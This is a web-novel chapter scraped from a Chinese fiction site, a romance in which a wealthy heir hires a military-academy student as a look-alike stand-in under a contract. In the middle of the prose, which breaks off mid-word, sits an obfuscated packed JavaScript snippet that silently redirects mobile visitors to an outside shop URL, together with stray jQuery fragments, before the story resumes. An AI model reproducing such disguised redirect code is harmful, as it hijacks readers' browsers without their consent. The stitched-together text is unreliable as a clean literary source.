文趣网 > 都市小说 > 真少爷始乱终弃后死遁了 > 5. 你吃醋了?
    林烬森收拾好从盥洗室出来时,早就回自己屋换洗了一身的苏荔夏正坐在刚刚外面沙发上那位置,捧着Andrew游戏机在游戏里大杀四方。

    听到动静,他抬眼,挑眉:“收拾好了?”

    “嗯。”林烬森一时还无法习惯和对方从客人和服务生到雇主和替身的关系。

    苏荔夏:“有联邦驾照吗?”

    “有。”

    话音刚落,一把车钥匙就被苏荔夏随手抛过来,他条件反射地接住:“那你自己开车回去。”

    “我不需要。”林烬森拒绝。

    “哦。你哪个学校的?”苏荔夏似是没听到似的,突然问起来,“住校吗?”

    林烬森蹙眉,发觉苏荔夏的思维总是这么跳脱,且我行我素,仿佛他的人生里就没有被拒绝的选项。但他还是回答了:“霍夫曼军事大学。不住校。”

    “行,把你课表发我一份。手机不要关机,给你车是为了让你能够随叫随到。否则你是要我每次见你,都等你倒一个小时地铁,再走半小时山路上半山腰的白邬公馆吗?”苏荔夏这么说着,手上操控着游戏人物接连爆掉敌方两个人头,头都没抬一下。

    末了还不忘嘲讽一句,“还是说你要贴钱打车来见我?”

    林烬森把车钥匙径直放在苏荔夏面前的青金石桌面上:“不,我没钱打车,更没钱加油付停车费。如果你要见我,我会跑着来。”

    苏荔夏手一抖,被对面爆头了。他难以置信地抬头,用一种看火星生物的眼神看向他,被逗笑了:“那你说说,现在已经夜里十一点半了,首都地铁也停运了吧。你没钱打车,难不成也跑回去?”

    林烬森:“我是军校生,习惯夜跑加练。”

    苏荔夏:“你住的地方离这多少公里?”

    “20公里。”

    苏荔夏冷不丁被这个非人的数字吓到:“那来回岂不是得40公里?”

    林烬森解释:“……我有钱坐地铁的。只有联邦地铁不运行的时候选择跑步。”

    “……”即便酷爱极限运动的苏荔夏也对跑步这种乏味无聊的运动感到无法理解,他有些懒得跟他扯,又从皮夹里抽出一张黑卡丢过去,“行了,车钥匙你拿着,要怎么用钱从里扣,随你用。”

    “我不需——”

    苏荔夏就怕他还要拒绝,一晚上没完没了,直接搬出替身合约:“别忘了合同上的条款,你必须无条件服从我的命令,否则算违约。”

    “……”林烬森想到那天价违约金,有点麻,沉默地收下银行卡和车钥匙。

    苏荔夏看着他转身往门口走去,呼地松口气,忍耐了许久,取烟,叩开钢制打火机,火苗倏然亮起。

    “夏离。”林烬森的声音陡然在面前响起,吓得苏荔夏拿火的手哆嗦了下,差点燎了下巴。

    “……啊?哎,”反应过来的苏荔夏迅速关了火,抬眼有些无语地瞥他一眼,“又怎么了?”

    林烬森借着反光的镜片掩饰情绪,可心底那点不甘还是冒了出来。

    他冷嗤:“如果我和你那个故人完全南辕北辙,那你岂不是会很失望?”

    “失望?”苏荔夏像是听到了什么新奇事儿,眼神微妙地瞥了眼眼前这人,瞬间明白过来,“怎么会呢?”

    他用手指反复一开一盒地掀动火机盒,几秒间,已经想好了说辞,“我还没蠢到连正品还是赝品都分不出来。”

    林烬森此刻才认识到什么叫“自取其辱”,他深吸一口气,声音更冷了些:“那何必找我?”

    苏荔夏:“……”

    他察觉到这个刚刚上任没几分钟的替身身上的怨气,眼神微妙地扫了一眼林烬森:“你吃醋了?”

    “……”

    苏荔夏却乐了,起身笑着凑近林烬森的脸,“还是说,财帛动人心?今晚不想走了?”

    ……

    林烬森抿了抿薄唇,镜框下的目光迸出一抹寒光,脸色都冷了几分,眼神下挑瞥到苏荔夏晃过来的荔枝吊坠,一点红闪过,说:“我只是不想你以什么ooc的由头,找我的茬。”

    “……”被说中心思的苏荔夏眉头一挑,“找你的茬?哈哈,就你这个榆木疙瘩,你以为我指望你多少?你能像他三分,我就谢天谢地了。”

    他无奈地直摇头,耸肩一笑:“我找你,也就只图你这张脸罢了。你这性格内在和他南辕北辙,差得不是一星半点儿,总之除开脸以外,我也没什么兴趣了解你。”

    苏荔夏哼笑着,伸手拍了拍林烬森的肩膀:“不过我毕竟在你身上花了三百多万,你就算再笨,我也会耐着性子好好调.教一下的。放心。”

    “……”林烬森皱眉,“那我要是学不会呢?”

    “学不会就扣钱呗,合约里写着了啊。”苏荔夏挑眉,微笑着与他对视。

    “……”林烬森。

    他就知道。

    苏荔夏看他吃瘪的样子心情极好,眉梢微挑:“我看你那股劲儿还没过,脑子不太灵光,建议你找个代驾,省得路上出事。”

    “……”

    林烬森拎着那件报废了的西装,下楼交了班,在更衣室里,一拳砸在衣柜上,发出一声闷响。

    “……”

    之后,林烬森在员工浴室里冲了个澡,换上常服,把那件西装和染了血的领带一起叠了塞进包里,背上黑色斜挎包,转身从白邬公馆后门离开。

    五月初,首都夜里接连下了几场夜雨,温度骤降到十度左右。林烬森穿着黑色卫衣,背着包跑入夜色,雷打不动的20公里夜跑训练,微寒的夜风吹得他更清醒了些。但以往20公里就能消耗掉所有多余的精力,今晚却要勉强得多。

    终于跑回首都北部郊区一栋岁月风蚀后破败的老楼楼下,林烬森扶着膝盖微微喘气,抬手揩去额头的汗水,调整呼吸,抬脚走向中间单元门。

    那里一楼被改造的门面被新的商户私自圈地外扩,在单元门外搭了棚子,摆上桌椅。去年就倒闭了两家火锅店,这个月新来的老板另辟蹊径,开了一家螺蛳鸭脚煲店,食客寥寥,路过总能闻到一股萦绕不散的臭味。

    他抬脚上到三楼,开门的风带起楼道里粘贴的小广告。林烬森进门就先给自己倒了一大杯水,仰头喝下,还是很渴。

    那个夏离到底给他抽的是什么?问他时明显顾左右而言他,绝不是什么好东西。林烬森重新拿了换洗的衣服,进了狭窄的只能站一个大男人在里面的卫生间,上面是花洒,下面就是蹲坑。

    老楼里管道老旧,和楼下的餐饮店公用同一条管道,时不时地反味上来。之前还总会有各种香辣火锅味,这一阵,螺蛳粉的味道很冲,厕所臭得名副其实。

    林烬森皱着眉头,开着换气和狭窄的窗户,迅速冲了个澡,但通过夜跑压下去的燥意再次袭来,他郁闷地换衣服出来,回到卧室,拿了一包抽纸,锁上门。

    凌晨三点,楼上的手搓麻将声哗啦啦到点响起,掩盖了他的动静。

    他弄了半天,干巴巴的,什么感觉也没有。最后仰着头闭上眼,把手伸进被窝里,回想今晚的每个细节。

    想到那条晃动在他面前的荔枝吊坠。

    想到那一点殷红的小痣。

    想到他蹲下身时,那人赤着的脚踝上勾勒的线条。

    和男人慵懒地抽了一口雪茄后,微抬下巴,失焦的往他的方向望着,喉结滚动,徐徐地吹出一口朦胧的烟圈,漫不经心地穿过烟雾与他对视。

    “我舍不得你。”

    “……”结束得猝不及防,林烬森呼吸抖了下,无力地枕着胳膊仰躺着,盯着天花板,内心隐隐有些麻。

    床头充电的手机突然疯狂震动,打断了他的思

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683649|207753||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    绪。

    苏荔夏不耐烦地从被窝里伸出手来,直接摸过手机摁了。哪知没两秒,那手机又震了起来。

    “9526!”苏荔夏不耐烦地喊了声,“接电话!”

    “好的,少爷~”9526愉快地从待机舱滑出来,信号接管的瞬间,悄悄躲远了些,接通电话,不敢吵他家少爷睡觉。

    通讯频道里电流声低鸣,苏成荫清润低哑的声线漫过来,尾音压得极轻:

    “Lee。”

    9526听出这是谁的声音,顿时不敢发声。

    少爷害我!

    半晌,9526才慢吞吞地发出电子音:“……您好,9526正在为机主代接中,少爷正在睡觉,您有什么事可以跟我说。”

    苏成荫那头沉默了一秒,说:“不管怎样,回国了回去看看你妈妈。”

    9526:“好的,苏总,我会为您转告少爷……”它话没说完,对面就直接挂断了电话。

    完全被忽视的9526再次叹气,机生不易。

    它抬头用机械眼看到窗外,满院的紫藤花穗垂落,藤蔓缠绕一路从窗外蜿蜒到窗边,像一片摇曳朦胧的紫海。

    而刚刚还在睡觉的少爷,不知何时已经走到院外,抬手抚了一穗紫,风吹过,碎花纷纷,他松软的碎发拂过低垂的黑眸。

    9526看着此情此景,忍不住高歌一首,发音奇怪的电子童音沉醉地唱出了粤语腔:

    “这纷纷灰花~

    这纷纷灰花已坠落~

    往日深情早已成空~

    这流水悠悠匆匆过~

    谁能将它片刻挽留~~~~”

    苏荔夏面无表情地走过来,抬手捶它脑袋:“闭嘴,难听死了。”

    9526“哎哟”一声,委屈地伸出两只小机械臂捂着脑袋:“可是人家想当AI界的大歌星!少爷,这是我的梦想啊!没有梦想的AI和咸鱼有什么区别……哎哟!少爷你别捶啦!”

    苏荔夏冷漠地低头瞥他一眼:“去叫餐。”

    9526刚踩着滑轮要滚开,忽然想起什么,转身,显示屏上一双像素风星星眼眨了下:“少爷,苏总让我转告你回国了,就去看看夫人。”

    手上搓着一穗紫藤花的苏荔夏闻言一怔,半晌,嗤笑了声:“呵,这是提醒我趁着还是苏家人,还能进苏家陵园,能多看一眼我妈一眼是一眼,是吗?”

    9526:“……”

    不过这倒提醒起苏荔夏,还有个他爹苏成荫找来的新儿子。

    苏荔夏边吃早餐,边用手机翻着林烬森发过来的课表,翻完又重新翻了一遍之前只是草草看过的,那份林烬森的背调资料。

    他意外发现,林烬森资料上显示,竟然和他同年同月同日生,而且同样在他家苏山集团旗下的Suthen私立医院出生。他微挑眉,看来这出真假少爷的戏码,对方从细节上都准备得很充足。

    他抬手就将这份资料放进粉碎机里搅碎。

    9526滑过来,诧异地问:“少爷,怎么不看了?”

    苏荔夏:“假的还看什么看。”

    白邬公馆的清晨,寂静得像是繁华落尽的荒原。苏荔夏白天可没兴趣呆在这儿,他随手从抽屉里抓了把车钥匙。他刚回国,也就从自己一处私宅调了几辆车过来开。

    他出门下楼,来到地下车库,坐上车,眼神无意扫到对面,忽然一顿——停在车库里,那辆银色跑车,正是他昨晚随手送给林烬森的那辆。

    他挑了挑眉,改变了原本去拳击馆的想法,掉头去了霍尔曼大学。

    正在靶场练特种狙击的林烬森忽然察觉到手环震动,抬手,接接收到几条消息。

    【生而有钱,我很抱歉:霍尔曼靶场后面的树林。】

    【生而有钱,我很抱歉:给你五分钟,跑过来。】